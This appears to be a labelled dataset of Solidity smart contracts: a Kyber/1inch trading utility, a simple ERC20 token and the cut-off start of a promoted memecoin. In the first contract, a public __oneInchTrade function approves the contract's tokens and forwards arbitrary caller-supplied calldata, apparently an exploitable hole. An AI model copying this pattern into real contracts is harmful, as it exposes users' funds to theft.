* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @title The interface for the Kyber Network smart contract
* @author Zefram Lou (Zebang Liu)
*/
interface IKyberNetwork {
function getExpectedRate(
ERC20Detailed src,
ERC20Detailed dest,
uint256 srcQty
) external view returns (uint256 expectedRate, uint256 slippageRate);
function tradeWithHint(
ERC20Detailed src,
uint256 srcAmount,
ERC20Detailed dest,
address payable destAddress,
uint256 maxDestAmount,
uint256 minConversionRate,
address walletId,
bytes calldata hint
) external payable returns (uint256);
}
/**
* @title The smart contract for useful utility functions and constants.
* @author Zefram Lou (Zebang Liu)
*/
contract Utils {
using SafeMath for uint256;
using SafeERC20 for ERC20Detailed;
/**
* @notice Checks if `_token` is a valid token.
* @param _token the token's address
*/
modifier isValidToken(address _token) {
require(_token != address(0));
if (_token != address(ETH_TOKEN_ADDRESS)) {
require(isContract(_token));
}
_;
}
address public USDC_ADDR;
address payable public KYBER_ADDR;
address payable public ONEINCH_ADDR;
bytes public constant PERM_HINT = "PERM";
// The address Kyber Network uses to represent Ether
ERC20Detailed internal constant ETH_TOKEN_ADDRESS =
ERC20Detailed(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
ERC20Detailed internal usdc;
IKyberNetwork internal kyber;
uint256 internal constant PRECISION = (10**18);
uint256 internal constant MAX_QTY = (10**28); // 10B tokens
uint256 internal constant ETH_DECIMALS = 18;
uint256 internal constant MAX_DECIMALS = 18;
constructor(
address _usdcAddr,
address payable _kyberAddr,
address payable _oneInchAddr
) public {
USDC_ADDR = _usdcAddr;
KYBER_ADDR = _kyberAddr;
ONEINCH_ADDR = _oneInchAddr;
usdc = ERC20Detailed(_usdcAddr);
kyber = IKyberNetwork(_kyberAddr);
}
/**
* @notice Get the number of decimals of a token
* @param _token the token to be queried
* @return number of decimals
*/
function getDecimals(ERC20Detailed _token) internal view returns (uint256) {
if (address(_token) == address(ETH_TOKEN_ADDRESS)) {
return uint256(ETH_DECIMALS);
}
return uint256(_token.decimals());
}
/**
* @notice Get the token balance of an account
* @param _token the token to be queried
* @param _addr the account whose balance will be returned
* @return token balance of the account
*/
function getBalance(ERC20Detailed _token, address _addr)
internal
view
returns (uint256)
{
if (address(_token) == address(ETH_TOKEN_ADDRESS)) {
return uint256(_addr.balance);
}
return uint256(_token.balanceOf(_addr));
}
/**
* @notice Calculates the rate of a trade. The rate is the price of the source token in the dest token, in 18 decimals.
* Note: the rate is on the token level, not the wei level, so for example if 1 Atoken = 10 Btoken, then the rate
* from A to B is 10 * 10**18, regardless of how many decimals each token uses.
* @param srcAmount amount of source token
* @param destAmount amount of dest token
* @param srcDecimals decimals used by source token
* @param dstDecimals decimals used by dest token
*/
function calcRateFromQty(
uint256 srcAmount,
uint256 destAmount,
uint256 srcDecimals,
uint256 dstDecimals
) internal pure returns (uint256) {
require(srcAmount <= MAX_QTY);
require(destAmount <= MAX_QTY);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return ((destAmount * PRECISION) /
((10**(dstDecimals - srcDecimals)) * srcAmount));
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return ((destAmount *
PRECISION *
(10**(srcDecimals - dstDecimals))) / srcAmount);
}
}
/**
* @notice Wrapper function for doing token conversion on Kyber Network
* @param _srcToken the token to convert from
* @param _srcAmount the amount of tokens to be converted
* @param _destToken the destination token
* @return _destPriceInSrc the price of the dest token, in terms of source tokens
* _srcPriceInDest the price of the source token, in terms of dest tokens
* _actualDestAmount actual amount of dest token traded
* _actualSrcAmount actual amount of src token traded
*/
function __kyberTrade(
ERC20Detailed _srcToken,
uint256 _srcAmount,
ERC20Detailed _destToken
)
internal
returns (
uint256 _destPriceInSrc,
uint256 _srcPriceInDest,
uint256 _actualDestAmount,
uint256 _actualSrcAmount
)
{
require(_srcToken != _destToken);
uint256 beforeSrcBalance = getBalance(_srcToken, address(this));
uint256 msgValue;
if (_srcToken != ETH_TOKEN_ADDRESS) {
msgValue = 0;
_srcToken.safeApprove(KYBER_ADDR, 0);
_srcToken.safeApprove(KYBER_ADDR, _srcAmount);
} else {
msgValue = _srcAmount;
}
_actualDestAmount = kyber.tradeWithHint.value(msgValue)(
_srcToken,
_srcAmount,
_destToken,
toPayableAddr(address(this)),
MAX_QTY,
1,
address(0),
PERM_HINT
);
_actualSrcAmount = beforeSrcBalance.sub(
getBalance(_srcToken, address(this))
);
require(_actualDestAmount > 0 && _actualSrcAmount > 0);
_destPriceInSrc = calcRateFromQty(
_actualDestAmount,
_actualSrcAmount,
getDecimals(_destToken),
getDecimals(_srcToken)
);
_srcPriceInDest = calcRateFromQty(
_actualSrcAmount,
_actualDestAmount,
getDecimals(_srcToken),
getDecimals(_destToken)
);
}
/**
* @notice Wrapper function for doing token conversion on 1inch
* @param _srcToken the token to convert from
* @param _srcAmount the amount of tokens to be converted
* @param _destToken the destination token
* @return _destPriceInSrc the price of the dest token, in terms of source tokens
* _srcPriceInDest the price of the source token, in terms of dest tokens
* _actualDestAmount actual amount of dest token traded
* _actualSrcAmount actual amount of src token traded
*/
function __oneInchTrade(
ERC20Detailed _srcToken,
uint256 _srcAmount,
ERC20Detailed _destToken,
bytes memory _calldata
)
public
returns (
uint256 _destPriceInSrc,
uint256 _srcPriceInDest,
uint256 _actualDestAmount,
uint256 _actualSrcAmount
)
{
require(_srcToken != _destToken);
uint256 beforeSrcBalance = getBalance(_srcToken, address(this));
uint256 beforeDestBalance = getBalance(_destToken, address(this));
// Note: _actualSrcAmount is being used as msgValue here, because otherwise we'd run into the stack too deep error
if (_srcToken != ETH_TOKEN_ADDRESS) {
_actualSrcAmount = 0;
_srcToken.safeApprove(ONEINCH_ADDR, 0);
_srcToken.safeApprove(ONEINCH_ADDR, _srcAmount);
} else {
_actualSrcAmount = _srcAmount;
}
// trade through 1inch proxy
(bool success, ) = ONEINCH_ADDR.call.value(_actualSrcAmount)(_calldata);
require(success);
// calculate trade amounts and price
_actualDestAmount = getBalance(_destToken, address(this)).sub(
beforeDestBalance
);
_actualSrcAmount = beforeSrcBalance.sub(
getBalance(_srcToken, address(this))
);
require(_actualDestAmount > 0 && _actualSrcAmount > 0);
_destPriceInSrc = calcRateFromQty(
_actualDestAmount,
_actualSrcAmount,
getDecimals(_destToken),
getDecimals(_srcToken)
);
_srcPriceInDest = calcRateFromQty(
_actualSrcAmount,
_actualDestAmount,
getDecimals(_srcToken),
getDecimals(_destToken)
);
}
/**
* @notice Checks if an Ethereum account is a smart contract
* @param _addr the account to be checked
* @return True if the account is a smart contract, false otherwise
*/
function isContract(address _addr) internal view returns (bool) {
uint256 size;
if (_addr == address(0)) return false;
assembly {
size := extcodesize(_addr)
}
return size > 0;
}
function toPayableAddr(address _addr)
internal
pure
returns (address payable)
{
return address(uint160(_addr));
}
} | True | [
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|
// SPDX-License-Identifier: MIT
// File: node_modules\@openzeppelin\contracts\GSN\Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: node_modules\@openzeppelin\contracts\token\ERC20\IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: node_modules\@openzeppelin\contracts\math\SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: node_modules\@openzeppelin\contracts\utils\Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin\contracts\token\ERC20\ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin\contracts\token\ERC20\ERC20Burnable.sol
pragma solidity ^0.6.0;
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20Burnable is Context, ERC20 {
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
// File: contracts\Token.sol
pragma solidity ^0.6.0;
contract YFICREDITSGROUP is ERC20, ERC20Burnable {
constructor(uint256 initialSupply) public ERC20("YFI CREDITS GROUP", "YFICG") {
initialSupply = 50000 * 10**18;
_mint(msg.sender, initialSupply);
}
} | True | [
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|
/**
██████╗ █████╗ ███╗ ███╗ ██████╗ ██╗ ██╗██████╗
██╔══██╗██╔══██╗████╗ ████║██╔═══██╗ ██║ ██║╚════██╗
██████╔╝███████║██╔████╔██║██║ ██║ ██║ ██║ █████╔╝
██╔══██╗██╔══██║██║╚██╔╝██║██║ ██║ ╚██╗ ██╔╝██╔═══╝
██║ ██║██║ ██║██║ ╚═╝ ██║╚██████╔╝ ╚████╔╝ ███████╗
╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝ ╚═══╝ ╚══════╝
A token that honors a pioneer in the space.
The previous dev had it all wrong from the start and is why King Ramo's legacy
was not sustainably stamped on the ethereum blockchain.
The LP was way too low, and max transactions were lifted too early.
Im going to do it right, a big starting LP with removing limits when i (or Ramo) believes the coin is stable
Ramo v2 WILL make it onto trending and it WILL prove to PopEye and everyone else in this space,
just how influential Ramo is.
LP will be locked and after limits are removed contract will be renounced.
Like always, follow the ten commandments.
If you want to join the movement join https://discord.com/invite/habibiz
- I highly recommend getting a habibiz or bibiz NFT for numerous reasons.
p.s. if @carnage is reading this, drop your eth wallet in the discord so i can send you a lil something you deserve ;)
**/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0;
pragma experimental ABIEncoderV2;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
